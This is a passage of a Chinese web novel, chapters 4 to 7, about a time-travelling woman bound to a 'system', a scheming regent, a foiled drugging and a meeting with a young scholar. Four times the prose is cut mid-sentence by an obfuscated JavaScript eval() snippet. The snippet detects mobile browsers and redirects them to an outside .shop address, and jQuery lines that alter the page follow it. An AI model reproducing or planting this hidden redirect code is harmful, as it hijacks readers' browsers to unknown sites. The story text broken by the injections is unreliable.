自那晚离开摄政王书房后,余柚发愁了好一会,生怕第二日就会被抓入地牢,严惩她对摄政王的不敬或是严刑拷打问她还知道些什么,那晚她对木雕都毫无兴致了,早早就上床歇息。
第二日,尚书府的仆人收拾行李也住进了摄政王府,无事发生。
第三日,余柚继续雕她的小猫咪,无事发生。
一连过了七日,余柚的猫咪木雕的各种细节都快完工了,摄政王还没对她下手,余柚便将此事彻底抛之脑后了。
想来她那日的提点起了作用,王爷应该是去查真正的下毒者了。
孺子可教也。
在王府乖乖待了好几天,余柚都有些无聊了,带上小橘想出去溜达溜达,刚要迈出王府大门,就被门口的四个带刀侍卫拦住了。
长刀出鞘,阳光的照射下闪出一道道凛冽的寒光,主仆二人定在原地,无措地看向带着肃杀气息的几位侍卫,这身杀气像是从战场上带下来的,震得人心头发慌。
几名侍卫见小姑娘乖软的模样,压下心底的不忍,保持严肃,绷着脸冷冷道:“王爷有令,余府的贵客,除了余大人每日可出府上朝之外,其余人等不得离开王府半步。”
“违者,仗二十!”
余柚低头瞧见自己迈出王府的一条腿,动作僵硬地收回,讪讪一笑,“今日天气甚好,本小姐见王府风景甚好,打算四处观赏一番,想起来后院花园还未曾仔细瞧过,就不打扰诸位了!几位大哥守门辛苦,我就先走了,不用送不用送!”
说完拉着小橘一溜烟跑远了。
边走边踢路上的小石子儿,嘴里愤愤不平地抱怨:“关这么久,天天在王府里闲逛,人都要憋出病来!”
“他一个王爷,肚量怎么这么小?变相软禁就算了,也不让无辜的平民百姓出去透透气,他自己受得了,我每日看着这寡淡的王府,看都看腻了。”
“小姐……别说了。”小橘颤颤巍巍的声音响起。
余柚却以为小橘是在为摄政王说话,低头继续有一搭没一搭地踢碎石,说得更加起劲了。
“你可别替他说话,自己闷头整日里在书房处理政务,结果呢?这么久了连个凶手都查不出,我看他能力也就一般般。还——”
话没说完,余柚眼前一黑,脑袋撞上了一堵“墙”,一股淡淡的雪松木直往鼻翼里钻,干净又带着些轻微木质苦味,她顿时有点发懵。
“看来余小姐对本王有诸多不满啊。”
男人嗓音清冽如击寒冰,凉得余柚脑子都不转了。
僵硬而缓慢抬起脑袋,抬眸就瞧见一张俊美的脸,余柚努力牵出一个勉强的微笑,“是的啊,是的啊,居然被王爷发现了。”
这话说得余柚都心虚,但她时刻谨记抗拒人设,生怕对酷刑的恐惧让她把任务给忘了。
眼前看似乖巧的少女就这么承认了,摄政王一时无语凝噎。
他近日忙于政事,七日前本打算自导自演一场毒杀戏码,却被余柚的一只“死老鼠”打乱计划,寻找内奸叛臣难以下手,今日才有了头绪,于是来后花园走走放松身心。
谁曾想就遇到让他这段时日劳心费神的罪魁祸首,而这人还在偷偷说他坏话,甚至被他抓包后仍一副毫不遮掩的模样。
他近日是过于忙碌,把余尚书一家还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092520|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在府上住着的事给忘了,但府里应当也是好吃好喝供着的吧?至于因为这说他无能肚量小吗?
对上余柚无辜的双眼,摄政王心头一动,刚好他得闲,又恰好碰到余柚,他想要雕刻的心又蠢蠢欲动,知道这位“老师”对他十分厌恶,只能小小吓唬一下了。
想到这,摄政王露出一抹浅淡的笑,“余小姐可知,背后议论、恶意诋毁王爷声誉,是大不敬,依我朝律法,轻则杖责,重则斩首。”
天杀的。
又是这一套,话里的威胁意味都快要溢出来了!
余柚小脸一皱,抿紧嘴唇,灵动的双眸四处乱看,就是不敢落在对面之人的身上,她垂在衣袖下的手都握紧了,脑里不断想着挽救措施。
少女的脸皱成一团,苦巴巴的样子像是遇到了天大的难题,摄政王脸上的笑容多了几分真实,不紧不慢道:“不过,余小姐在木雕工艺上天赋卓绝,本王自是不舍小姐遭此酷刑,只要余小姐当面为本王雕刻一个印章,方才的话本王就当从未听过,如何?”
摄政王突然觉得自己确实有点坏,像是在欺负小姑娘,但小姑娘对他实在是太抗拒了,他也只能出此下策,之后他一定管管他在京城中的名声。
被欺负的余柚此刻甚是无语,她算是看出来了,这摄政王就是想学她的技术!说的这般严重,目的恐怕就是偷师学艺。
“王爷真是好心思好手段啊!”
咬牙切齿地说完这句话后,余柚便认栽,但心中有气仍不忘刺他两句,“可以,王爷想什么时候见识见识真正的技术?”
“现在。”
摄政王轻笑一声,转身朝书房走去。
余柚见此耷拉着脸跟了上去,其实这几次和摄政王的相处,她对这人也有了初步的了解,传闻中心狠手辣,但其实对她和她爹也就口头上吓唬吓唬,真的狠手从没下过,还算是个好相处的王爷。
就是总爱威胁她,而她也真有点犯怂。
烦。
*
摄政王府书房。
余柚看着眼前熟悉的工具,认命地拿起一块崭新的木料,“王爷想要什么印章?刻什么字?”
摄政王打开盒子后又瞧见了上次的两根香蕉,无视他自己的“神作”,拿起余柚雕的那根木质香蕉,在手中把玩,想到自己又将学会并拥有木质印章,心情颇好,“余小姐随意,本王没有要求。”
说完他又想到了余柚雕的那只猫,补充道:“就不刻字了,印猫爪吧。”
猫爪印?
余柚想了想,从旁边取张纸,简单勾勒几笔,几种猫爪的款式跃然纸上,各有各的萌趣。纠结半晌,余柚将她觉得最不可爱的圈了出来,暗自点头,就决定是这个了。
摄政王在一旁见证了全过程,见余柚从众多猫爪印中圈出一个他最不喜的,他眉头轻皱,抬手指向另一个圆嘟嘟的可爱猫爪印,发出抗议,“本王想要这个。”
余柚眼神都没抬,冷漠道:“哦。”
摄政王呆愣一瞬,她好像在撒气?
不确定,再看看。
5. 第 5 章
余柚开始雕刻后,全身心便投入进去了,摄政王盯着看了许久,见少女如玉般的手指翻飞,木料就如预期般一点点变样,他心底暗自纳闷,他雕的时候也是这般想的,怎么雕出来就奇形怪状的呢?
余柚在印章的顶部似乎想雕个样式,比起普通的印章做起来要复杂些,时间花费也更长,盯久了,摄政王撑着脑袋,眼神变得迷蒙,最后伴着“沙沙”的雕刻声缓缓阖上眼皮。
萧绝已经很久没做梦了。
梦里他穿着普通,是个普通的书生,靠抄书谋生,日子不算富裕但也自在。有一日他在街上遇见了个言笑晏晏的少女,摆着摊卖着各式各样的木雕,生意很好。他莫名就被吸引了,走上前,排在队伍中。
等排到他了只见少女灿烂的笑容一收,冷着脸让他走,说她的木雕不卖给心思恶毒之人。
他茫然地离开摊位回到家中沐浴,连沐浴时都在想他一普通书生何来恶毒之说?
越想越入神,连身子下沉水没过了鼻子都没发现,直到无法呼吸的感觉愈发浓烈,直直将他从睡梦中逼醒。
“欻”地一下睁开眼,摄政王呼吸急促,方才憋气的感受是那么真实,朝对面望去,梦里的少女此刻真实的出现在眼前,似乎是被他醒来的动静惊到了,少女循声看过来,眼里还带着疑惑。
余柚迎上摄政王的目光,握着刻刀的手心已沁出一层薄薄的汗,心脏砰砰跳动,努力装出疑惑的模样,心里暗暗祈祷。
发现不了发现不了。
她刚才从雕刻状态中抽离,活动脖颈放松身体,扭头便发现摄政王撑着脑袋睡着了,眉头紧锁像是遇到了什么难题,想到这人时不时威胁一下她,余柚作恶的心思不断往外窜,等回过神来她已经来到摄政王身边了。
盯着摄政王高挺的鼻梁,余柚小心翼翼地挥了挥手,轻唤:“王爷?王爷?”
没有丝毫反应。
余柚嘴角微翘,毫不犹豫地伸手轻轻捏住眼前人的鼻翼,打断他和外界空气交换的通道,如愿瞧见他的眉头越来越紧,余柚得逞的笑容加深,眼看这人就快憋醒,连忙收手回到位置上。
听见耳边传来急促的呼吸声,她故作茫然疑惑的抬头,就对上了男人似乎带着埋怨的眼神,心头一惊,还以为是被发现了。
摄政王收回看向余柚的目光,“没事,余小姐继续。”他没想到自己会做这么无厘头的梦,刚醒过来甚至还带着梦里的情绪,失笑的摇摇头。
这时书房外走进一人,附在摄政王耳边说了句话,他看向房外,才发现此刻太阳已落山,天色有些暗沉,揉了揉眉心,吩咐道:“给余小姐备菜。”
随后起身,“本王还有公务在身,辛苦余小姐继续雕刻,想吃什么和下人说,印章本王就不看完全程了,余小姐雕完给本王送来即可。”言毕,挥袖就离开了。
余柚:你刚才都睡了,早就漏看了半程了,还不看完全程……假惺惺!
门外有小厮走进来,问余柚想吃些什么,累了半天了,余柚一点不客气,一下点了好几道菜,都是食材昂贵的菜品。
可不能亏待了自己。
*
半时辰后。
余柚在餐桌吃饱喝足,非常满意。然后老老实实地又回到她的“工位”,看着满桌的木屑,她第一次觉得木雕不是放松,是劳动。
印章的主题她已经雕完了,顶部的样式也已初具雏形,她要雕的是——老鼠。
没错。
余柚继续雕刻上方的老鼠,也不打算多细致,能看出来是只老鼠就行。她虽说迫于权势答应了要雕这个印章,但雕出什么样可就不能强求她了,雕个老鼠表达一下她的气愤抗拒之情!
一想到摄政王见到这个印章时可能会有的表情,余柚的心情瞬间就美了,刻刀划地都有动力,很是期待尊贵的摄政王殿下会有什么反应。
时间一点一点过去,一个粗糙的凶狠老鼠慢慢成型,余柚正打算最后加一点细节,系统的机械音突然响起。
【叮!警告!】
【紧急任务:任务对象即将在一刻钟后饮下毒药,请宿主迅速行动化解危机!】
【任务限时:一刻钟】
又来?
余柚咬紧后槽牙,脑子里系统的警报声响个不停,她有种被戏耍的气愤。
权倾朝野、心机深沉的摄政王?
怎么三天两头要死要活的,就这么容易被杀?
心里再气余柚也任务为重,迅速起身问门口侯着的小厮摄政王现在身在何处,得知任务对象在寝殿当中。
处理政事不在书房的正厅,还回寝殿了,余柚压下心底的吐槽,朝小厮点头道谢后快步朝摄政王寝殿走去,就一刻钟,动作稍微慢点她就只能叫府医了。
步履匆匆赶到寝殿,汪公公候在殿门口,见余柚行色匆匆,迎上前问道:“余小姐这么急,是找王爷有什么事吗?”
任务倒计时还有五分钟,余柚缓了缓气,向汪公公展示手中的印章,解释她是来给王爷送木雕的,说这是王爷先前的吩咐。
盯着汪公公进去通传,余柚也默默在心里倒数,若是只剩两分钟后还不宣她进去,她就硬闯进去,先拦下摄政王喝毒酒,理由此事过去之后她在瞎掰一个。
好在宣见来得很快,余柚跟着汪公公进去,迈步踏入殿内,环顾一圈,发现殿内除了摄政王只有一个侍女,侍女此刻弯腰在摄政王身旁的茶杯里添茶。
倒计时此时也只剩一分钟了,余柚瞬间确定系统所说的毒药就在侍女添的那杯茶中,她毫不犹豫娇喝一声。
“说!你往茶里加了什么!”
声音凌厉,骤然在安静的室内响起,侍女本就心虚害怕,这一动静吓得她直接跪倒在地,手里的茶壶没拿稳,“砰”的一声掉落在地,碎片四溅,茶液浸湿了她的一片裙角。
变故突发,摄政王和汪公公怔愣片刻,随后立刻有侍卫出现将自乱阵脚的侍女扣住,奴仆迅速将地面清理干净,府医将茶杯拿至一旁进行检测,全程只用了几分钟,室内重新陷入安静。
余柚立在一旁眼观鼻鼻观心,一副置身事外的模样,她不管事事却主动找上了她,摄政王冰凉的嗓音又在喊“余小姐”了。
“余小姐,方才为何突然出声?”
余柚早在等待仆人收拾时便酝酿好了说辞,“我刚才一进来,就瞧见这位侍女神色慌张,带着心虚害怕,直直盯着茶杯,那眼神可吓人了,我料想她可能是在茶里下了毒想谋害王爷,若真如此,未免王爷出事又扣留我与家人,我就出声试探了一下,没想到这人如此心虚,定是存了害人之心!”
逻辑连贯,有理有据,掷地有声。
被押在一旁的婢女早就吓破了胆,听完余柚的话,都不等摄政王发问,就带着哭腔一五一十地交代了,连连求饶。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092521|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“奴婢知道错了!求王爷饶了奴婢!奴婢被贪念糊了心,竟是想着给王爷下药博得王爷的宠幸,奴婢该死,但奴婢家里还有母亲,求王爷饶奴婢一命,奴婢再也不敢了!”
“求王爷!奴婢知道错了……”
侍女哭得梨花带雨,嘴里一直在认错,她是真的后悔了。她在王爷身边伺候也有一年有余了,王爷生的俊美,有权有势,她也不止一次起过贪念,但都被坊间的传闻和王爷的冷厉给吓得缩了回去。
最近余尚书独女当殿拒绝摄政王的事传得沸沸扬扬的,她见余柚如此招惹王爷,王爷都只是把她扣在府内,甚至还好吃好喝招待着,那邪念就又冒出来了,愈演愈烈,既然王爷并非传闻中那么狠,就算事后王爷生气,想来也会善待她给她个名分。
但现在跪在殿内,侍女满脑子只有王爷的狠辣手段,听说王爷对叛徒从不手软,抽筋扒皮比比皆是……她此刻只想求饶求王爷放她一条生路,别的她什么都不敢想了。
下了合欢药?
余柚听完婢女的说辞,整个人都僵在了原地,不确定地打开任务面板,不久前的紧急任务此刻的确是完成的状态。
她有些呆愣。
毒药?合欢药?
是除了合欢药还有别的东西吗?
而府医的检测结果也出来了,大声向摄政王禀报:“禀王爷,此茶水当中被人下了合欢药,此外并无其它异物。”
只有合欢药。
余柚傻了。
【系统!!!!】
余柚在心底冲系统怒吼,你跟我说合欢药是毒药?你的意思是这个药能弄死他吗?
【叮!请宿主冷静,我已将问题上报,若是任务系统出错,管理局会酌情补偿宿主,请宿主专心任务。】
【怎么补偿?】
和系统争执了好一会补偿问题,最终系统也没给余柚一个确切的补偿方案,余柚知道这恐怕就只是个大饼,寄人篱下,在别人手底下做事,她只好把这气憋着,就当做好人好事了。
等余柚回过神来,就听见摄政王给侍女下最后通牒:“拉下去杖二十,逐出府吧。”
侍女像得了大赦,连忙磕头叩谢王爷不杀之恩,随后被拉下去,不久殿外就传来阵阵女人的痛呼声,从声音中就能听出来女子遭受的痛苦,直听得余柚心头一震。
听说杖责的疼痛程度极高,果不其然。
她决定了。
以后一定不过分招惹这位摄政王。
心里想什么就来什么,处理完侍女,摄政王又想起了他的这位“木雕老师”兼今夜的恩人,少女静静站在一旁,姿态乖巧,不与他作对时余小姐的确是一副乖软美人模样。
平日里按他的处事风格,贴身伺候之人起了异心,他从未手软过,这次下的是合欢药,若下次是见血封喉的毒药呢?
但刚才他莫名想到,余小姐应当就是受京城传闻影响,十分厌恶他,拒绝他的要求都不带犹豫的,就连梦里那位和余柚长得一模一样的少女也说他心思恶毒,对他极为抗拒。
他莫名就改了主意,只是杖责加逐出府,想来余柚应当会对他稍有改观?京城中的传闻此后他也会适当管束,不能再放任老太婆败坏他名声了。
自认为自己刚才的表现十分优秀,摄政王笑盈盈地看向余柚,期待一个友好的回应。
“余小姐的印章完工了?”
6. 第 6 章
印章?!
刚刚才决定尽量不招惹摄政王,一提起印章余柚忍不住摩挲手中的木质印章,粗糙的质感磨得她指腹有些疼,她面露难色,有点犹豫。
摄政王这会刚处理了有异心的下人,她这会给出去一枚老鼠印章,不会撞枪口上也被拉下去杖责吧?
手指越来越用力,就在余柚快要决定放弃这枚印章时,系统的机械音又冒了出来。
【叮!检测到宿主抗拒值持续下降,即将低于80%,请宿主注意!长期任务失败将严重影响本世界任务,请宿主引起重视!】
警报声在脑海里直响,余柚刚决定软化的态度霎时又冰冷了,站在原地和摄政王保持一定的距离,将手中的印章远远丢过去,绷着一张脸一言不发。
摄政王下意识地接住抛来的印章,抬眸看向冷着脸的少女,友善的微笑僵在嘴角,他有点不明所以。
是错觉吗?
他怎么觉得少女更抗拒厌恶他了呢?
视线转向手中的印章,就看见方方正正的印章上立着一只龇牙咧嘴凶恶状的老鼠,仿佛下一秒就能扑上来咬他一口。
摄政王:?
他沉思片刻,十分不解,一个妙龄少女自由发挥怎么能雕了只老鼠出来呢?他想到一种可能性,竟有些难以启齿。
“余小姐很喜欢老鼠吗?”
余柚冷漠脸:“我讨厌老鼠。”
听到这个答案,摄政王突然灵光一闪,想到先前那次,余柚也是放了只死老鼠在他的菜品中,这次又给他雕了只老鼠印章。
得,还讨厌他。
对他表示不满呢。
摄政王不知为何,居然并不生气,少女为了表达对自己的讨厌,居然愿意花费好几个时辰给他雕一只老鼠,他的要求可只有印章,上方的摆件定是余柚自己想法。
他都能想到少女边划刻刀边埋怨的模样,想到这,摄政王掀唇一笑,少女气性,真幼稚。
取来印泥,他试了试印章的效果,虽说是那一众猫爪印中最不可爱的,但单拿出来印在纸上,也甚是可爱,印章上的老鼠的神态此刻竟像是被猫吓到的惊恐状。
满意地将印章收好,摄政王心情大好,“余小姐今日拦下对本王不轨之人,又为本王雕刻印章,可有什么愿望?若不过分本王便应下了。”
从把印章抛过去开始,余柚的心就提起来了,生怕下一秒摄政王就能叫人把她拉下去和侍女一起挨板子,但摄政王的反应却出乎她的意料,他看起来竟是十分愉悦。
听见可以提一个要求,余柚不加思索,立刻就说出了她的愿望:“可以让我和我爹娘回府吗?”
赶紧让她离开任务对象身边吧,不用再演抗拒人设,不用担心下一秒就会被拉下去打板子,还能回到长安的大街上呼吸自由的空气!
回府?!
只是回府?!
他,当朝摄政王,有权有势,许她一个愿望,她就想回家?!
摄政王心底冒出一股气,是许久没有过的憋屈滋味,他没好气地摆手。
“本王允了,明日你们就回去。”
“现在你也下去吧。”他这会一点也不想见到这个惹得他憋闷的少女,眼不见心不烦。
余柚得了准信,绽开灿烂的笑容,高兴地应下转身就欢快地回去了,徒留摄政王一人在殿内独自憋闷。
他,堂堂摄政王。
摄政王的许诺诶!
她就只想回家?
就这么不想看见他?
气。
好气。
*
翌日。
余府。
一家子人时隔数日又回到家中,余大人坐在主座上,出神地望着前方,觉得恍如隔世。
他活过来了,亲闺女得罪了摄政王,他居然从摄政王手底下把命捡回来了!!老天保佑啊!
余大人看向身旁的妻子,没忍住上前和妻子来了个深情拥抱,余夫人脸颊微红,轻拍丈夫的背,不好意思地低声说:“柚儿还看着呢,你别当着孩子的面这样。”
言语间提及余柚,让激动的余大人冷静下来,松开紧抱着妻子的手,转身狠狠瞪了眼余柚,摆出父亲的威严,“柚儿,这次是咱们运气好,摄政王没和咱们计较,下次再犯,家法伺候!”
余柚试探着看了眼亲娘,低声问:“咱家家法是什么啊?”
“我听得到的!”洪亮的嗓门给余柚惊立正了,对上亲爹怒火喷发的眼眸,余柚咽了咽口水,为了她的耳膜,她决定服个软,“女儿知道了,下次不会了。”
“还有下次?!”
“嘿!不是爹你先说的下次吗?”
眼看父女二人又要吵起来,余夫人揉了揉眉心,“好啦,别吵了,两个人年纪都不小了还这么稚气。”
言罢她担忧地看向余柚,把积压多日忧虑缓缓道来,“柚儿,你这一通闹,摄政王那边是绕过咱们一家人了,可你的婚事怎么办呢?你开罪过摄政王,这想找个好人家恐怕不容易啊……”
眼看着话题直往自己的婚事上去了,余柚头开始发疼,“停停停,娘你就别操心这事了,女儿还小,还想在你们身边多待一段日子呢。”
“可是——”
见余夫人有好一番说教的趋势,余柚上前挽住娘亲的胳膊,开始撒娇,“娘~女儿才从那可怕的摄政王府出来,现在觉得男人都是鬼怪,世界好黑暗,您先让我放松放松可好?”
“娘,你最好了娘!”
“诶,娘你这件衣服好漂亮……”
插科打诨加撒娇装傻,余柚算是暂时把家里的催婚应付过去了,这要是找了门婚事在头上,她还怎么和摄政王走下面的剧情?
余夫人笑着回应余柚的撒娇,暂时将婚事搁在一旁。
但余柚所言“世界好黑暗”却被她听了进去,怕女儿无事可做对生活失去希望,余夫人心生一计。
次日。
余夫人带着余柚来到京城的一家酒楼面前,向她介绍这栋楼的由来。
介绍的内容很多很杂,从这栋楼建立时的艰难说起,一路磕磕绊绊,抓住好几次商机,躲过数次同行的栽赃陷害,发展成如今的京城第一大酒楼,生意红火,日赚斗金。
“这家酒楼如今的掌柜正是为娘,现在为娘打算教你经商之道,以后这盛京楼就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092522|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你的了。”
这句话像一道雷炸得余柚脑子嗡嗡作响,她呆傻地望着写着“盛京楼”三个大字的牌匾,不可置信地想到。
我,是个富二代?!
余柚声音颤抖,“娘,以前你怎么没跟我说过这事?”
余夫人展眉一笑,“士农工商,这商排在最后,不那么光彩,娘也就没和你说。不过现在娘想明白了,哪那么多讲究,能给柚儿赚银子那就是好事!”
那可是天大的好事啊!
余柚快被这好消息砸晕了,全程带着傻笑陪娘亲把酒楼目前的管事人认了一遍,等回到家中,她躺在床上才回过神来。
高兴地在床上滚了两圈,余柚抱着被子傻乐,京城第一酒楼,日赚斗金,以后都是她的了!
世界最幸福的事,莫过于过着平平淡淡的生活,突然有一天你的父母告诉你,你其实是个富二代。
余柚现在深有体会,她日日早起往酒楼里去,看看账单,尝尝即将推出的新品菜,偶尔还参考现代的创意提个意见,管事人听了都兴高采烈地去实施,从酒楼回府的路上逛逛首饰店,遇见喜欢的价钱也不看一眼,直接就买下。
余夫人见女儿兴致勃勃,心里头也高兴,觉得女儿这是从黑暗中走出来了,管事人还时常和她汇报,说余柚提出的很多措施颇有成效,恐是个经商奇才,各种夸赞的词往余柚身上堆砌,她高兴得嘴都合不拢了。
闺女重新燃起了对生活的热爱,先前余夫人先前搁置在一旁的婚姻大事,她又开始操心了。
没去打扰余柚的兴奋劲,余夫人自己和手帕交细数了一下京城的适龄公子,再结合几人的消息,剔除那些品行不端的纨绔子弟,还剩下好几位品行皆优,外貌俊朗的好男儿。
回到余府,余夫人看着下人寻来的画像,越看越满意,不管柚儿能嫁入哪一家,她都是满意的。
当下她就拍板:
相亲!
*
雅茶肆。
二层包厢。
余柚百无聊赖地把玩手中的玉佩,娘亲说帮她约了个新鲜蔬菜供货商,让她来聊聊合作的事,今日酒楼正好事情少,她早早忙完便提前过来等着了。
但她到的有点太早了,比约定的时辰早了近半个时辰,面前的茶壶都已新换一轮,余柚摩挲着手中的玉佩,身侧窗外洒进暖黄色的阳光,无聊地开始背诗。
“沧海月明珠有泪,蓝田日暖玉生烟。”
“此情——”
话音未落,“吱呀”一声包厢的房门被推开,少年一身白衣,墨发披肩,眉眼间书卷气极浓,抬步走近,浑像一块上好的羊脂玉,温润儒雅。
余柚傻愣愣地看着少年越走越近,此人外貌俊美,气质不俗,一看便身家富裕,是人中龙凤,但……
不像是从商的啊!
待其走至余柚身前,余柚还未来得及打招呼,少年便眼睛放光地盯着余柚,率先激动开口,“余小姐方才所吟之诗所出何处?亦或是余小姐所作,实乃精妙绝伦,天机云锦,小生属实惊叹!”
“沧海月明珠有泪,蓝田日暖玉生烟……”
“好诗!好诗!”
7. 第 7 章
少年嗓音清润,如浓墨般漆黑的双眸直直地锁在余柚身上,余柚讪讪一笑,“不知公子可曾听过李商隐?”
“不曾。”
借口诗人是隐士高人,自己也是机缘巧合下碰见,且早已答应不透露其行踪,余柚总算将这个话题勉强应付过去。
余柚松了口气,视线重新落回来人身上,为他倒了杯茶,“公子你好,自我介绍一下。我是余柚,盛京楼代理掌柜。”
得知此诗作者已经隐士,无从得见,少年眼中是难掩的遗憾,听见余柚的介绍,这才恢复从容的气度。
“余小姐好,我是宋修筠,现任大理寺丞,我舅舅是京城最大的蔬菜供货商。”
“今日代替我舅舅与你谈合作事宜。”
宋修筠接过茶杯微抿一口,垂眸思索。
今日他娘唤他来见余府的小姐,笑意盈盈地与他说要和人家小姑娘好好相处。面上说是让他代舅舅来谈谈合作,但他能看出来,他娘这是给他物色未来妻子呢。
宋修筠本不打算来的,他没时间在婚事上花费那么多闲工夫,但在他娘一众夸余柚的词中,“出口成章、满腹经纶”吸引了他的注意,为此他愿意走这一趟。
若真是一位才女,那他可定要交个朋友,平日里聊聊诗词歌赋,探讨经典著作,岂不美哉?
没曾想,余柚随口的一句诗便如此惊为天人,他按捺不住心底的激动,直想把这首诗的作者和内容通通深挖出来。
但初步的沟通,他看出来余柚对他并不信任,不愿意和他细聊过多,想到今日会面的主要目的,他浅笑着把话题牵到合作的事上。
发现余柚肉眼可见的起了兴趣,宋修筠眉眼舒展,兴致盎然地和余柚商谈合作细节,甚至在一些利益争议点做出让步,二人相谈甚欢。
太阳渐渐西斜,暖黄色的光洒在余柚白皙的脸颊上,她这才后知后觉已经和宋修筠畅谈了足足整个下午,将茶杯里的茶一饮而尽,嗓子舒服许多,“今日和宋公子聊得很愉快,那合作的事暂且定下来,后续有问题再细聊?”
宋修筠贴心地为余柚把茶续上,“今日说的话太多,多喝点热茶润润嗓子。”见余柚乖乖地又喝了一杯茶,他眼含笑意,“合作的事就按余小姐说的来。”
“此外,过几日可要一起去看看果蔬市集?余小姐验验是否新鲜,我也去看看下人有没有懈怠。”
余柚欣然应下,“那麻烦宋公子了。”
言罢她起身准备告辞,宋修筠再度出声,“余小姐,在下还有个不情之请,想知道那位李商隐诗人所著之诗的全部诗句,不知余小姐可否告知?”
这算什么不情之请?
余柚大手一挥,要来笔墨纸砚,提笔默写,一气呵成。
她上下扫视一番,满意地点点头,将宣纸递给宋修筠,“小事一桩,合作愉快!”
“天色有些晚了,我就先回府了,期待下次见面。”
言毕余柚朝宋修筠微微一笑,转身离开了,留下宋修筠一人在窗边。
少年展开宣纸,细细品读诗句,嘴里还念念有词,“此情可待成追忆,只是当时已惘然。”神情恍惚,颇是回味。
*
是夜。
摄政王府。
摄政王看完眼前的情报,眉头微蹙,“宋修筠,本王没记错的话是宋尚书嫡子?”
暗卫抱拳,“正是,且宋尚书与太后母族交往甚密,对王爷摄政之事多有微词。”
摄政王早前就对余柚有过一次彻底的调查,清清白白。少女自小在京城长大,从未见过什么不该见的人,再加上余尚书数十年如一日的处事作风,他有九成把握,余府应不会卷入党派之争。
但他仍一直派人在盯着余府,尤其是余柚,和她的几次相处,摄政王感受到余柚的一些行为很奇怪,可能有一些不为他所知晓的秘密,且与他有关。
今日余柚和宋修筠的会面,早在余夫人和宋夫人见面商谈约见事宜之时,他手下的人就已经告知他此事了。
底下的人怀疑余府有站队太后的倾向,但他并不这样觉得。
毕竟余夫人那还有好几幅画像,皆是适龄的高门贵子,其中不乏他党派的官员。
但……
摄政王盯着情报上二人相处的细节,剑眉逐渐蹙紧。
这位余小姐怎么和宋修筠言笑有加,相谈甚欢,谈笑间推杯换盏,甚至最后她还写了封情诗给宋修筠?
今日才第一次见面,就说什么“此情可待成追忆”?
胡闹。
摄政王再想到少女和自己说话夹枪带棒的模样,心态瞬间失衡,不理解少女为何如此抗拒他。
宋尚书嫡子,他听说过,也曾见过几面,印象中没他高,外貌还算出色,但也绝不及他。整日捧着书,嘴里念叨着“之乎者也”,就是个书呆子,这名声也不比他好到哪里去啊?
她怎么一面就爱上了呢?
莫非她就喜欢读书人?
摄政王陷入沉思。
*
翌日。
余柚刚洗漱完在喝粥,昨日商谈完一件大事,她今天打算给自己放一天假。这时,小橘走了进来,将手中的拜帖递给余柚,“小姐,大理寺丞宋大人求见,说是和小姐约好了同去市集。”
宋修筠?
余柚咽下口中的粥,不确定地看了眼天色,“小橘,现在是什么时辰?”
“辰时六刻。”
这宋修筠,不是说过几日去看果蔬市集吗,怎么今天就来了?来就算了,现在才早上八点半诶,她早餐都还没吃完。
怎么这么急?
我的生意伙伴行动力超强怎么办?
在线等,挺急的。
人都到家门口了,余柚只好取消今日假期,囫囵吞枣地喝完粥,出府就瞧见了一道清风霁月的背影。
余柚心底暗叹,这通身气质,属实看不出来是半个生意人,她走上前,“宋公子早啊,我们走吧。”
宋修筠转身看向余柚,不好意思地笑了笑,“早,今日休沐无事,就来寻余小姐了,有些突然,希望没有打扰到余小姐。”
你也知道突然啊!
余柚摁下心底的吐槽,笑了笑,“没事没事,我今日也没事,正好去看看。”二人并肩朝市集走去。
早晨的京城别有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092523|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一番热闹的场景,街边的商贩高声吆喝,百姓们赶早出来买新鲜的蔬菜,熙熙攘攘的人群,虽说喧闹了些,但颇具生活气息,余柚觉得很亲切。
宋修筠在旁侧注意到余柚的心情变得愉悦,状若不经意地挑起话题:“昨日和余小姐分开后,我好生品读那首妙诗,越是品读越能察觉到其中的精妙之处。”
又是这首诗。
